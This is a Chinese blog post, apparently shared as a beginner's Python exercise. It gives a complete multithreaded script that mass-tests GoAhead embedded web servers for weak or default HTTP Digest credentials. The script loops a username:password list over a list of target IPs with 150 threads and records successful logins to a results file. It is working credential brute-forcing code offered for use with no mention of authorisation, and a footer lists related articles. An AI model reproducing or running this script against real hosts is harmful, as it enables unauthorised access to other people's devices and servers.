最近在学习用python写爬虫工具,某天偶然发现GoAhead系列服务器的登录方式跟大多数网站不一样,不是采用POST等方法,通过查找资料发现GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的嵌入式Web Server。大多数GoAhead服务器采用了HTTP Digest认证方式,并且部分服务器采用了默认账号密码,于是萌生了针对GoAhead编写爬虫的想法,通过近8个小时的编程与调试,勉强写出了个简陋的脚本,现在拿出来分享,给刚接触python的新手参考下,也请求路过的大神指点下,哈哈。

  该脚本对新手来说难点在于如何让python自动填写账号密码并登录,本人花了近两个小时参考了很多网站,觉得用python的第三方模块requests中的get()函数最方便,只需填写URL、认证方式和账号密码即可模拟登录。

  另一个难点就是多线程了,不过对于用其它语言写过多线程的人来说还是挺容易的,不懂的可以自己查资料,这里就不多说了。

  下面附上完整代码:

from requests.auth import HTTPDigestAuth
import requests
import threading
import sys
import os
import time ip_file_name = 'ip.txt'
password_file_name = 'password.txt'
results_file_name = 'results.txt'
ip_count = 0
thread_count = 0
default_thread_count = 150
local = threading.local() #read ip_file
def get_ip():
if os.path.exists(os.getcwd() + '/' + ip_file_name):
with open(ip_file_name, 'r') as r:
list = []
for line in r.readlines():
line = line.strip('\n')
line = 'http://' + line
list.append(line)
r.close()
return list
else:
print('ip file doesn\'t exist!\n')
os._exit(-1) #read password_file
def get_password():
if os.path.exists(os.getcwd() + '/' + password_file_name):
with open(password_file_name, 'r') as pa:
list = []
for line in pa.readlines():
line = line.strip('\n')
list.append(line)
pa.close()
return list
else:
print('password file doesn\'t exist!\n')
os._exit(-1) class MyThread(threading.Thread):
def __init__(self, thread_index, ip_list, pass_list, results_file):
threading.Thread.__init__(self)
self.thread_index = thread_index
self.ip_list = ip_list
self.pass_list = pass_list
self.results_file = results_file def run(self):
local.thread_index = self.thread_index
#Calculate the number of tasks assigned.
if ip_count <= default_thread_count:
local.my_number = 1
else:
local.my_number = (int)(ip_count/thread_count)
if ip_count%thread_count > thread_index:
local.my_number = local.my_number + 1 for local.times in range(local.my_number):
try:
local.ip = self.ip_list[(local.times-1)*thread_count+local.thread_index]
#Check whether the target is a digest authentication.
local.headers = str(requests.get(local.ip, timeout=6).headers)
if 'Digest' not in local.headers:
continue
except BaseException:
'''
e = sys.exc_info()
print(e)
'''
continue
#Loop to submit account password.
for local.user in self.pass_list:
#sleep 0.1 second to prevent overloading of target
time.sleep(0.1)
#Get the account password by cutting local.user
local.colon_index = local.user.find(':')
if local.colon_index == -1:
print(local.user+' doesn\'t Conform to the specifications')
os._exit(1)
local.username = local.user[0:local.colon_index]
local.password = local.user[local.colon_index+1:]
if local.password == '<empty>':
local.password = ''
try:
local.timeouts = 0
#Start Digest authentication
local.code = requests.get( local.ip, auth=HTTPDigestAuth(local.username, local.password), timeout=5 )
#If the status code is 200,the login is success
if local.code.status_code == 200 :
print('login '+local.ip+' success!')
self.results_file.writelines(local.ip+' '+local.username+' '+local.password+'\n')
break
except BaseException:
'''
e = sys.exc_info()
print(str(local.thread_index)+' '+local.ip+' '+local.username+' '+local.password)
print(e)
'''
#If the times of timeout is too many, check the next IP.
local.timeouts += 1
if local.timeouts == 15:
local.timeouts = 0
break
else:
continue if __name__ == '__main__': ip_list = get_ip()
pass_list = get_password() if len(ip_list)==0 or len(pass_list)==0:
print('please fill ip, username or password file')
os._exit(-1) ip_count = len(ip_list)
if ip_count <= default_thread_count:
thread_count = ip_count
else:
thread_count = default_thread_count print('start to work...')
#create threads and run
threads = []
with open(results_file_name, mode='a') as results_file:
for thread_index in range(thread_count):
thread = MyThread(thread_index, ip_list, pass_list, results_file)
thread.start()
threads.append(thread)
for thread in threads:
#wait for all threads to end
thread.join()
results_file.close() print('All work has been completed.')

  该脚本的运行流程为:

  1.读取ip.txt、password.txt文件中的内容

  2.创建线程并运行

  3.每个线程对其分配到的IP进行循环认证,先检查目标是否存在且为Digest认证方式,若为真则开始循环登录,登录过程中若多次超时则跳过对该IP的检查

  4.当服务器返回200状态码时则表示登录成功,将IP和账号密码写入results.txt,并循环检查下一个IP

  5.当所有线程将分配到的所有IP检查完毕,则程序运行完毕

批量检测GoAhead系列服务器中Digest认证方式的服务器弱口令的更多相关文章

  1. ssh 服务器之间公钥认证方式的配置

    前言 项目中需要编写脚本在服务器之间上传或者下载文件,但没有相关服务器来测试脚本,于是就着手安装两台server,然后用ssh的相关命令去配置server之间公钥认证登录. 步骤 1. 在VM Box ...

  2. cas sso单点登录系列3_cas-server端配置认证方式实践(数据源+自定义java类认证)

    转:http://blog.csdn.net/ae6623/article/details/8851801 本篇将讲解cas-server端的认证方式 1.最简单的认证,用户名和密码一致就登录成功 2 ...

  3. spark批量写写数据到Hbase中(bulkload方式)

    1:为什么大批量数据集写入Hbase中,需要使用bulkload BulkLoad不会写WAL,也不会产生flush以及split. 如果我们大量调用PUT接口插入数据,可能会导致大量的GC操作.除了 ...

  4. 基于Token的身份认证 与 基于服务器的身份认证

    基于Token的身份认证 与 基于服务器的身份认证 基于服务器的身份认证 在讨论基于Token的身份认证是如何工作的以及它的好处之前,我们先来看一下以前我们是怎么做的: HTTP协议是无状态的,也就是 ...

  5. Java 实现 SSH 协议的客户端登录认证方式--转载

    背景 在开篇之前,让我们先对 SSH 协议有个宏观的大致了解,这样更有利于我们对本文的加深了解.首先要提到的就是计算机网络协议,所谓计算机网络协议,简单的说就是定义了一套标准和规则,使得不同计算机之间 ...

  6. http认证方式,工程部分实现

    学习过程中,被boss批评,要求去复习http协议,因此找了相关资料做成一个系列:对于http认证方式不清楚的可以参考我的上一篇文章 http认证方式https://www.cnblogs.com/j ...

  7. getJSON方式请求服务器

    register.jsp <%@ page language="java" import="java.util.*" pageEncoding=" ...

  8. Python批量检测服务器端口可用性与Socket函数使用

    socket函数 简述 socket又称套间字或者插口,是网络通信中必不可少的工具.有道是:"无socket,不网络".由于socket最早在BSD Unix上使用,而Unix/L ...

  9. Linux利用nc命令脚本批量检测服务器指定端口是否开放

    一.nc命令检测端口的用法 # nc -v -w 10 %IP% -z %PORT% -v 显示指令执行过程. -w <超时秒数> 设置等待连线的时间. -u 表示使用UDP协议 -z 使 ...

随机推荐

  1. python写一个信息收集四大件的脚本

    0x0前言: 带来一首小歌: 之前看了小迪老师讲的课,仔细做了些笔记 然后打算将其写成一个脚本. 0x01准备: requests模块 socket模块 optparser模块 time模块 0x02 ...

  2. 2018-3 WebStorm最新版本破解方法

    今天重新打开WebStorm发现之前输入的License Server没法用了,不能通过WebStorm的检测,搜索良久,终于找到了最新版本WebStorm的破解方法. 在激活页面选择License ...

  3. 本地安装plsql和instantclient连接linux服务器端的oracle

    当虚拟机里面的linux服务器安装好oracle之后(具体安装方法在之前的博客有说到),如何连接使用呢?连接过程中会出现什么问题呢? 1.首先我们下载instantclient的压缩包,直接解压就好, ...

  4. 浅析JavaScript的prototype

    一.JavaScript对象的创建 (1)对象方法 function Student(name){ this.name=name; this.showName=function(){ alert(&q ...

  5. Java面试宝典笔记录

    1.一个.java文件中可以有多个类(不是内部类),但是只能有一个public类,且类名和文件同名.(一般不提倡这么写,一类一文件) 2.java保留字:goto, const. 3.访问权限控制 访 ...

  6. Maven-09: 在线插件信息

    仅仅理解如何配置使用插件是不够的.当遇到一个构建任务的时候,用户还需要知道去哪里寻找合适的插件,以帮助完成任务.找到正确的插件之后,还要详细了解该插件的配置点.由于Maven的插件非常多,而且这其中的 ...

  7. 笔记:Maven 项目基本配置

    Maven 的基本设置包含项目基本信息和项目信息,基本信息主要用于设置当前包的归属项目.当前项目等,配置文件结构如下: <project xmlns="http://maven.apa ...

  8. 笔记:Struts2 文件上传和下载

    为了上传文件必须将表单的method设置为POST,将 enctype 设置为 muiltipart/form-data,只有设置为这种情况下,浏览器才会把用户选择文件的二进制数据发送给服务器. 上传 ...

  9. Shell 读取用户输入

    14.2  读取用户输入 14.2.1  变量 上一章我们谈到如何定义或取消变量,变量可被设置为当前shell的局部变量,或是环境变量.如果您的shell脚本不需要调用其他脚本,其中的变量通常设置为脚 ...

  10. Python并发编程之进程

    一.理论概念 1.定义 进程(Process 也可以称为重量级进程)是程序的一次执行.在每个进程中都有自己的地址空间.内存.数据栈以及记录运行的辅助数据,它是系统进行资源分配和调度的一个独立单位. 2 ...